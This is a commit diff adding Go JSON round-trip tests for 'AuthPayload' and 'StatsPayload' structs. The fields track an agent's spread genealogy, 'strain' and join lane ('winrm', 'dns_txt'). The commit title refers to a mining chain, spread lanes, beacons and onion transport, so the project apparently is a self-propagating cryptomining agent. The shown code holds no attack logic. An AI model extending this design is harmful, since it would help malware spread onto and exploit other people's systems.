Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -59,6 +59,18 @@ func TestAuthPayloadPlatformFromEnv(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
|
||||
in := AuthPayload{
|
||||
AgentID: "child", ParentAgentID: "parent-uuid", SpreadGeneration: 2,
|
||||
SpreadStrain: "#aabbcc", JoinLane: "winrm",
|
||||
}
|
||||
var out AuthPayload
|
||||
roundTrip(t, in, &out)
|
||||
if out.ParentAgentID != "parent-uuid" || out.SpreadGeneration != 2 || out.SpreadStrain != "#aabbcc" {
|
||||
t.Fatalf("genealogy fields: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthResponseJSONRoundTrip(t *testing.T) {
|
||||
in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
|
||||
var out AuthResponse
|
||||
@@ -103,6 +115,18 @@ func TestStatsPayloadJSONRoundTrip(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestStatsPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
|
||||
in := StatsPayload{
|
||||
Hashrate15s: 1, Hashrate1m: 1, Hashrate15m: 1,
|
||||
ParentAgentID: "p1", SpreadGeneration: 1, SpreadStrain: "#112233", JoinLane: "dns_txt",
|
||||
}
|
||||
var out StatsPayload
|
||||
roundTrip(t, in, &out)
|
||||
if out.ParentAgentID != "p1" || out.SpreadStrain != "#112233" {
|
||||
t.Fatalf("genealogy stats: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShareResultJSONRoundTrip(t *testing.T) {
|
||||
in := ShareResult{JobID: "j", Accepted: false, Error: "low diff"}
|
||||
var out ShareResult
|
||||
|
||||
Reference in New Issue
Block a user